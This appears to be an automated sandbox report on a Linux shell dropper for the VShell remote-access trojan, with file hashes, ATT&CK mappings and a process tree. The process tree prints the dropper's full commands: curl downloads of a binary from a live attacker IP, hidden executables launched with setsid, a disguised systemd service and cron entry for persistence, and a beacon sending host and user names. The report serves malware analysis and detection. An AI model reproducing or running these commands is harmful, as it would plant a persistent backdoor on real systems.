vshell | 059715e07ff1817a54fc356794b0ed6b04fa87212cc1ae5a3039d36af31a8288

General

Target
setup3.sh
Size 1KB
Sample261030-l7htgaeb74
SHA256 059715e07ff1817a54fc356794b0ed6b04fa87212cc1ae5a3039d36af31a8288
MD5 aee4186e7ed7d5212b2c0b043a6245ef
SHA1 6a5ff5d435c4124e8fc5a1733aaba673391c12ba
SHA512 7c60fa0510954ece8f6cbf30642529afd757d1fc29cb12c87ec82ef696c0e6ceec880127b8a7739c1eafd3f7317acb98cb5030e87f76d8e66b770f23a891d028
TLSH
T1112163B0FA39DA7A7139EDA4581583CC2D9E082A9B5CFA96B4DB0884E4B41C05D5CD34
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm backdoor defense_evasion discovery execution vshell persistence privilege_escalation rat

Malware Config

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
756	chmod
762	bash
765	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/.ksvc	759	env
/usr/lib/.crond-helper	767	env

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/.sys-update	bash

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond-helper.service	bash

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 17 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/self/auxv	curl

/tmp/setup3.sh
/tmp/setup3.sh
1⤵
PID:654
- /usr/bin/curl
  curl -fsSL http://154.36.183.100:8899/dl/agent2 -o //.ksvc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:660
- /bin/chmod
  chmod 755 //.ksvc
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:760
- /bin/bash
  bash -c "curl -fsSL http://154.36.183.100:8899/dl/agent2 -o /usr/lib/.crond-helper && chmod 755 /usr/lib/.crond-helper && (setsid env -i /usr/lib/.crond-helper >/dev/null 2>&1 &) && printf \"[Unit]\\nDescription=System helper service\\nAfter=network-online.target\\nWants=network-online.target\\n\\n[Service]\\nType=simple\\nExecStart=/usr/lib/.crond-helper\\nRestart=always\\nRestartSec=10\\n\\n[Install]\\nWantedBy=multi-user.target\\n\" > /etc/systemd/system/crond-helper.service && systemctl daemon-reload && systemctl enable --now crond-helper.service && echo \"*/10 * * * * root pgrep -f \\\"/usr/lib/.crond-helper\\\" >/dev/null 2>&1 || /usr/lib/.crond-helper\" > /etc/cron.d/.sys-update && chmod 644 /etc/cron.d/.sys-update"
  2⤵
  - File and Directory Permissions Modification
  - Creates/modifies Cron job
  - Modifies systemd
  PID:762
- - /usr/bin/curl
    curl -fsSL http://154.36.183.100:8899/dl/agent2 -o /usr/lib/.crond-helper
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:763
- - /bin/chmod
    chmod 755 /usr/lib/.crond-helper
    3⤵
    - File and Directory Permissions Modification
    PID:765
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:768
- - /bin/systemctl
    systemctl enable --now crond-helper.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:783
- /bin/chmod
  chmod 644 /etc/cron.d/.sys-update
  2⤵
  PID:762
- /bin/hostname
  hostname
  2⤵
  PID:801
- /usr/bin/id
  id -un
  2⤵
  - Reads runtime system information
  PID:802
- /bin/hostname
  hostname
  2⤵
  PID:803
- /usr/bin/id
  id -un
  2⤵
  - Reads runtime system information
  PID:804
- /usr/bin/curl
  curl -s -m 8 "http://154.36.183.100/beacon?p=setup3&h=debian9-armhf-20260513-en-10&s=root"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:805

/usr/bin/setsid
setsid env -i //.ksvc
1⤵
PID:759

/usr/local/sbin/env
env -i //.ksvc
1⤵
PID:759

/usr/local/bin/env
env -i //.ksvc
1⤵
PID:759

/usr/sbin/env
env -i //.ksvc
1⤵
PID:759

/usr/bin/env
env -i //.ksvc
1⤵
- Executes dropped EXE
PID:759

/.ksvc
//.ksvc
1⤵
PID:759

/bin/sh
/bin/sh //.ksvc
1⤵
PID:759

/usr/bin/setsid
setsid env -i /usr/lib/.crond-helper
1⤵
PID:767

/usr/local/sbin/env
env -i /usr/lib/.crond-helper
1⤵
PID:767

/usr/local/bin/env
env -i /usr/lib/.crond-helper
1⤵
PID:767

/usr/sbin/env
env -i /usr/lib/.crond-helper
1⤵
PID:767

/usr/bin/env
env -i /usr/lib/.crond-helper
1⤵
- Executes dropped EXE
PID:767

/usr/lib/.crond-helper
/usr/lib/.crond-helper
1⤵
PID:767

/bin/sh
/bin/sh /usr/lib/.crond-helper
1⤵
PID:767

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Boot or Logon Autostart Execution

1

T1547

XDG Autostart Entries

1

T1547.013

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

XDG Autostart Entries

1

T1547.013

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Credential Access

Discovery

System Information Discovery

1

T1082

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.ksvc

Path /.ksvc
Size 7.5MB
SHA256 17485b175a4ca46adbce11efa571f875fb530922b9cc7d5ad60078846ce0f603
MD5 f634f6e0c07076dcc00a5f01baa3297b
SHA1 c6841c3016efdd86344b2fada21da113d4b1fc0d
SHA512 bc369e10d83d93bcdd1b5b41658ce303094eb5135a7c82f3befaba814410eeb3a8fea9ebb6fcc1dfaebf29a49b95f762ccc3f90c05b1afff1dd450ce13093b33
SSDEEP 49152:sRm6tkO15VlRArb/TivO90d7HjmAFd4A64nsfJIyMVmbfugZjs38LVBiz6LbtPXU:glRJXp8L/KyZcCb77Eew+k
TLSH
T16D862847F89041E8C0EED174CA669263BA707C895B3063D72B50F7B82F72BD46A7A354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.sys-update

Path /etc/cron.d/.sys-update
Size 94B
SHA256 14c1ec491a623233e4d1df13423a62ba68e54a551b5198684463a5c2762ec718
MD5 9bf924df22c0051bf1ff7479a607becb
SHA1 a2ba1fb392a7549fcc5d211069af9642e2186b33
SHA512 bb52f071865538401fc90e3ff7db08fcd346972c4b5be673f66547b43e39abfc8bce1dbf41c7fcb153187201ef8db1dd66a42e66f0e89d551551cb5d142b3557
TLSH
T12CB01230C71C5B367618FC14A424074C22C7C8200F9DB80130CF408946283C28919F18
MD5 SHA1 SHA512 TLSH

Submit Download

crond-helper.service

Path /etc/systemd/system/crond-helper.service
Size 220B
SHA256 7341e1d0dc2e2e4547c36235bcedb6aa8764c606b11aba5be8dc4ccc311031fe
MD5 12408909d17def63988a959595fb2ed2
SHA1 955a2bdea9edf7aeb30df46a3708d84986c543f8
SHA512 c424679557c8daa144f79561cafc8f47693f0a2a0a0be254f7f94ed1b84815b116b7452d826727384c03de4906dc72694c59f7a2aeb0a5758e6cdbc441035200
TLSH
T176D0A7125F2221A2840E3D618EE35700491401418E8EF07C6FD1258560E12CA90349BD
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads